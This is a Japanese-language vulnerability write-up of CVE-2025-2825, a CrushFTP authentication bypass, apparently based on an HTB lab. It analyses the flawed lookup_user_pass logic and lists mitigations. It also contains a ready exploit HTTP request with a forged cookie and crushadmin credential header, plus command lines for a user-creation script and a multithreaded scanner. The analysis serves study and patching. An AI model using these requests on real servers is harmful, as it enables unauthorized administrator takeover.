
CrushFTPの認証バイパスであるCVE-2025-2825の詳細分析とPoCエクスプロイト。Nucleiテンプレート、マルチスレッドスキャナー、ペネトレーションテスト用のユーザー作成スクリプトを含む。
このドキュメントでは、CrushFTP サーバーコンポーネントに影響する脆弱性 CVE-2025-2825 の調査結果を紹介します。CrushFTP は、ファイル転送・保存を目的とした商用ソリューションです(FTP、SFTP、HTTP/S、S3 互換インターフェースなど)。
この欠陥は 認証バイパス (authentication bypass) に分類され、リモートの未認証攻撃者が管理者権限を取得できる可能性があります。悪用に成功すると、crushadmin 権限でのアクセス、ファイルの閲覧・変更、アカウント管理、CrushFTP の Web インターフェースおよび API を介した管理操作の実行が可能になります。
報告されている影響を受けるバージョン(公開アドバイザリおよび研究者のレポートによる):
⚠️ 注記: 一部の公開情報には CVE 識別子の重複や重複登録が見られます(例: CVE-2025-31161)。
この脆弱性を段階的に分析し、以下のような調査の全サイクルを示すことを目的とします:
公開レポートによると、この脆弱性は 重大 (クリティカル) なリスク があります:
以下の特徴を持つインスタンスが特に重要です:
CrushFTP(Web インターフェースを備えた任意のエディション)。CrushFTP は S3 類似の API をサポートしています。認証には次の形式の Authorization ヘッダーが使用されます:
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>
サーバーは Credential から AccessKey を抽出し、署名を検証する必要があります。しかし、コードには lookup_user_pass フラグの処理に関する誤りがありました。
// ServerSessionHTTP.java, метод loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
boolean lookup_user_pass = true; // ← критическая ошибка
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
if (this.thisSession.login_user_pass(
lookup_user_pass,
false,
user_name,
lookup_user_pass ? "" : user_pass)) {
// Успешная аутентификация
}
}
lookup_user_pass フラグはそのまま anyPass として渡されます:
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // аутентификация без проверки пароля
}
つまり:
バージョン 11.3.1 以降で開発者は次の対応を行いました:
CVE-2025-2825 の悪用は比較的簡単で、複雑な準備は必要ありません。攻撃者は、次の2つの主要要素を含む特別に細工した HTTP リクエストを送信するだけで済みます:
Authorization ヘッダー — 既存ユーザーの正当な名前(AccessKey/username を含む Credential フィールド)を含む。CrushAuth クッキー と、URL/リクエストボディ内の c2f パラメータ。これらの値は論理的に一致している必要があります(クッキーの形式はサーバーが期待する構造に一致している必要があります)。サーバーが脆弱な場合(バージョンが 10.0.0〜10.8.3 または 11.0.0〜11.3.0 の範囲にあり、修正パッチが適用されていない場合)、この組み合わせにより認証ハンドラーが脆弱な経路を辿ります。そこではパスワード検索フラグ(lookup_user_pass)が「任意のパスワードが許可される」と解釈され、パスワードを検証せずにユーザー名だけで認証されます。
重要な注意事項:
この脆弱性の悪用には、通常、2つの連続したリクエストの送信が必要です。最初の、いわゆる「ウォームアップ」リクエストは、サーバー上で脆弱な認証プロセスを起動します。サーバーが目的の状態に入った特徴的な兆候は、応答として
502 Bad Gatewayエラーが返るか、単純にタイムアウトが発生することです。その直後に、サーバーが攻撃に対して脆弱な状態にある間に、2番目の主要なリクエストが送信され、実際の悪用動作(例: ユーザー作成)が実行されます。
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
テストには、最近リリースされた HTB のラボ「Soulmate」を使用しました。そこではまさに CrushFTP の悪用が求められます。

この脆弱性を利用すると、setUserItem コマンドを使用して管理者権限を持つ新しいユーザーを追加できます。これを行うには new_user.py を実行します。
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide
Authorization ヘッダーのパース: サーバーが S3 類似形式(AWS4-HMAC...)の認証ヘッダーを検出すると、Credential フィールドからクライアント ID(AccessKey / username)を抽出します。この時点でサーバーはユーザー名とみなす文字列を取得します。これは、その後の認証ロジックで使用される識別値です。
lookup_user_pass フラグとその役割:
コードにはブール型フラグ lookup_user_pass があり、これは検証時にパスワードをどこから取得するかを示すことを意図しています:
呼び出しチェーンを通じたフラグの受け渡し:
おおよその経路: ServerSessionHTTP.loginCheckHeaderAuth() → Session.login_user_pass(...) → UserTools.ut.verify_user(...)。フラグは入力時に動作を決定し、verify_user 内では、名前が一致した場合にパスワードを比較せずに見つかったユーザーオブジェクトを早期返却します。これにより認証チェックがバイパスされます — サーバーは名前によってユーザーを「認識」し、認証済みと見なします。
付随する要素(cookie / c2f):
公開された解析によると、ハンドラーはリクエストをセッション/コンテキストと照合するために、正しい形式の cookie/パラメータを期待します。ただし、主要な欠陥はまさに lookup_user_pass の処理における論理エラーです。その他の要素は、リクエストが標準的な処理分岐を通過するのを助けるだけです。
主な原因
Credential の簡素化されたパースと組み合わさり、パスワード検証なしでも正しいユーザー名が存在するだけでユーザー資格情報を取得できる状態になっていました。パッシブテンプレート:
ほとんどの Web サービスでは CrushFTP の正確なバージョンを特定できないため、このテンプレートはサービスが CrushFTP を使用しているかどうかのみを確認します。
アクティブテンプレートと併用するのが最適です
アクティブテンプレート:
アクティブテンプレートは、getUserList コマンドが実行可能かどうかを確認します。

マルチスレッドスクリプト
このスクリプトはアクティブテンプレートとほぼ同様に動作しますが、はるかに高速で、複数のホストを同時にチェックできます。
python3 scan.py -t http://ftp.soulmate.htb/ -p 80 -u crushadmin

CVE-2025-31161 に関連するリスクを軽減するには、次の手順を実行することをお勧めします:
直ちに更新する:
ワークアラウンドの適用(更新が不可能な場合):
s3_auth_lookup_password_supported を false に設定します。これにより、製品全体を更新することなく脆弱な認証ロジックを無効化できます。リスク補償策:
Authorization ヘッダーに AWS4-HMAC-SHA256 を含む不審なリクエストがないか確認します。特に S3 連携を使用していない場合は重要です。Authorization ヘッダーを含むリクエストをブロックします。